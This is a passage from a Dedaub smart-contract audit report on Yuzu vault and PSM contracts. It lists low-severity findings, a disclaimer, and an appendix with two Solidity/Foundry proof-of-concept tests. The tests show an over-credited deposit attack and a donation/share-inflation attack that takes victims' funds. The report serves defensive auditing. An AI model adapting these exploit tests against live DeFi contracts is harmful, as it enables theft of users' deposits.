when the semantics changed. `IVaultRestrictions.canCreateRedeemOrder()` is declared and never called.

A10 `Order.createdAt` is write-only state

ACKNOWLEDGED

IPSM.sol ▾

`_createRedeemOrder()` writes `createdAt`, but it and no code path ever reads it.

A11 `maxRedeem()` screens `syzUSD`'s `minWithdraw` against the gross amount while the vault checks the net

RESOLVED

PSMV2.sol ▾

StakedYuzuUSDV3.sol ▾

`PSMV2.maxRedeem()` compares `_vault1.convertToAssets(shares)` (gross) against `IMinWithdraw(vault1()).minWithdraw()`:

`PSMV2::maxRedeem():97`

```
if (_vault1.convertToAssets(shares) < IMinWithdraw(vault1()).minWithdraw()) {
    return 0;
}
```

However, `StakedYuzuUSDV3.maxRedeem()` applies that floor to the net-of-fee amount:

`StakedYuzuUSDV3::maxRedeem():161-162`

```
(uint256 netAssets,) = _previewRedeemWithFee(shares, _redeemFeePpmFor(_owner));
return netAssets < minWithdraw() ? 0 : shares;
```

Whenever `net < minWithdraw ≤ gross`, `maxRedeem()` returns a positive number and every redeem at or below it reverts. If `PSMV2` is always intended to have `REDEEM_FEE_EXEMPT_ROLE` as indicated by `PSMV2V3Integration.t.sol:75` then this

is not an issue. However, if at any point in the future the admins decide to reapply the fees for PSM path (revoke `REDEEM_FEE_EXEMPT_ROLE` from PSM), then this miscalculation will surface. Therefore, if such a scenario is possible, re-checking the role and applying the fees according to `PSMV2.maxRedeem()` would prevent this.

A12

Compiler bugs

RESOLVED

The code is compiled with Solidity `0.8.30`. Version `0.8.30`, in particular, has some [known bugs](#), which we do not believe affect the correctness of the contracts.

Comments: The code is now compiled with Solidity `0.8.36`, which has no known bugs.

DISCLAIMER

The audited contracts have been analyzed using automated techniques and extensive human inspection in accordance with state-of-the-art practices as of the date of this report. The audit makes no statements or warranties on the security of the code. On its own, it cannot be considered a sufficient assessment of the correctness of the contract. While we have conducted an analysis to the best of our ability, it is our recommendation for high-value contracts to commission several independent audits, a public bug bounty program, as well as continuous security auditing and monitoring through Dedaub Security Suite.

ABOUT DEDAUB

Dedaub offers significant security expertise combined with cutting-edge program analysis technology to secure some of the most prominent protocols in DeFi. The founders, as well as many of Dedaub's auditors, have a strong academic research background together with a real-world hacker mentality to secure code. Protocol blockchain developers hire us for our foundational analysis tools and deep expertise in program analysis, reverse engineering, DeFi exploits, cryptography and financial mathematics.

APPENDIX

Description
Proof of Concept - H1
<pre> // SPDX-License-Identifier: MIT pragma solidity ^0.8.30; import {POOL_MANAGER_ROLE, ORDER_FILLER_ROLE} from "./helpers/TestRoles.sol"; import {YuzuV3TestBase} from "./helpers/YuzuV3TestBase.sol"; contract PoC_ILPV3_DepositOverCredit is YuzuV3TestBase { uint256 internal constant USDC = 1e6; function setUp() public { vm.warp(1_700_000_000); asset = _newAsset(); asset.mint(other, 2_000_000 * USDC); // attacker asset.mint(filler, 2_000_000 * USDC); // funds order payouts yzilp = _deployYuzuILPV3(); vm.startPrank(admin); yzilp.grantRole(POOL_MANAGER_ROLE, admin); yzilp.grantRole(ORDER_FILLER_ROLE, filler); yzilp.setIsMintRestricted(false); yzilp.setIsRedeemRestricted(false); vm.stopPrank(); _approve(other, address(yzilp)); _approve(filler, address(yzilp)); } function test_PoC_DepositOverCreditExtractsRealAssets() public { // (1) Dust pool (0.001 USDC) with a live 1%/day linear yield. vm.prank(other); yzilp.deposit(USDC / 1000, other); _promoteIlpFees(10_000); } </pre>

```

// (2) ~0.1 day elapses. The yield is
//      1000 * 10_000 * 8639 / (1e6 * 86400) = 0.9998, which FLOORS
//      TO ZERO, so the credit's discount collapses to 1000/1000 == 1.
vm.warp(block.timestamp + 8639);
assertEq(yzilp.totalAssets(), USDC / 1000, "yield floored to zero");

// (3) A 1,000,000 USDC deposit (mint fee 0) is credited
//      un-discounted; the yield term is then recomputed on the
//      ballooned pool over the same dt, minting ~999.88 USDC of
//      retroactive yield to the depositor.
uint256 deposited = 1_000_000 * USDC;
uint256 balBefore = asset.balanceOf(other) + USDC / 1000; // net seed
vm.prank(other);
uint256 shares = yzilp.deposit(deposited, other);

uint256 sharesValue = yzilp.convertToAssets(shares);
emit log_named_decimal_uint("assets paid (USDC)", deposited, 6);
emit log_named_decimal_uint("share value (USDC)", sharesValue, 6);
assertGt(sharesValue, deposited, "depositor over-credited");

// (4) Realize the surplus as REAL assets: the filler funds the
//      inflated `order.assets` payout.
uint256 position = yzilp.balanceOf(other);
vm.prank(other);
uint256 orderId = yzilp.createRedeemOrder(position, other, other);
vm.prank(filler);
yzilp.fillRedeemOrder(orderId);
vm.prank(other);
yzilp.finalizeRedeemOrder(orderId);

int256 pnl = int256(asset.balanceOf(other)) - int256(balBefore);
emit log_named_decimal_int("attacker PnL (USDC)", pnl, 6);
assertGt(pnl, 0, "attacker extracted real assets");
}
}

```

Proof of Concept - H2

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.30;
import {TransparentUpgradeableProxy} from
"@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import {StakedYuzuUSDV3} from "../src/StakedYuzuUSDV3.sol";
import {StakedYuzuUSDV3TestBase} from "../helpers/StakedYuzuUSDV3TestBase.sol";
import {PAUSE_MANAGER_ROLE, REDEEM_MANAGER_ROLE} from "../helpers/TestRoles.sol";

contract StakedYuzuUSDV3RepeatedInflationPoCTest is StakedYuzuUSDV3TestBase {
    uint256 internal constant SEED_SHARES = 1;
    uint256 internal constant VICTIM_ASSETS = 1e14;
    uint256 internal constant REPEATED_VICTIM_DONATION = 2e14;
    uint256 internal constant REPEATED_VICTIM_COUNT = 3;

    function setUp() public {
        _setUpActors();
        _setUpAsset();

        TransparentUpgradeableProxy proxy = _deployV1Proxy(owner);
        proxyAdmin = _proxyAdmin(address(proxy));

        vm.prank(owner);
        StakedYuzuUSDV3(address(proxy)).pause();

        _upgradeToParkedV3(proxyAdmin, proxy, owner, admin);
        styz3 = StakedYuzuUSDV3(address(proxy));

        vm.prank(admin);
        styz3.grantRole(PAUSE_MANAGER_ROLE, pauseManager);

        vm.prank(pauseManager);
        styz3.unpause();

        _approveAssets(user1, address(styz3), type(uint256).max);
        _approveAssets(user2, address(styz3), type(uint256).max);

        assertEq(styz3.totalSupply(), 0);
    }
}
```

```
        assertEq(styz3.totalAssets(), 0);
    }

    function
test_RepeatedZeroShareVictimDepositsCanMakeDonationAttackProfitable() public {
    _enableInstantRedeem();

    yzud.mint(user1, SEED_SHARES + REPEATED_VICTIM_DONATION + 1);
    yzud.mint(user2, (REPEATED_VICTIM_COUNT) * VICTIM_ASSETS);

    vm.prank(user1);
    uint256 attackerShares = styz3.deposit(SEED_SHARES, user1);
    uint256 attackerBalanceBefore = yzud.balanceOf(user1);
    vm.roll(block.number + 1);

    vm.prank(user1);
    yzud.transfer(address(styz3), REPEATED_VICTIM_DONATION);

    for (uint256 i; i < REPEATED_VICTIM_COUNT; ++i) {
        assertEq(styz3.previewDeposit(VICTIM_ASSETS), 0);
        vm.prank(user2);
        uint256 victimShares = styz3.deposit(VICTIM_ASSETS, user2);
        assertEq(victimShares, 0);
    }

    vm.prank(user1);
    uint256 assetsOut = styz3.redeem(attackerShares, user1, user1);
    uint256 profit = yzud.balanceOf(user1) - attackerBalanceBefore;
    assertGt(profit, 0);
}

function _enableInstantRedeem() internal {
    vm.startPrank(admin);
    styz3.grantRole(REDEEM_MANAGER_ROLE, admin);
    styz3.setIsInstantRedeemEnabled(true);
    vm.stopPrank();
}
}
```

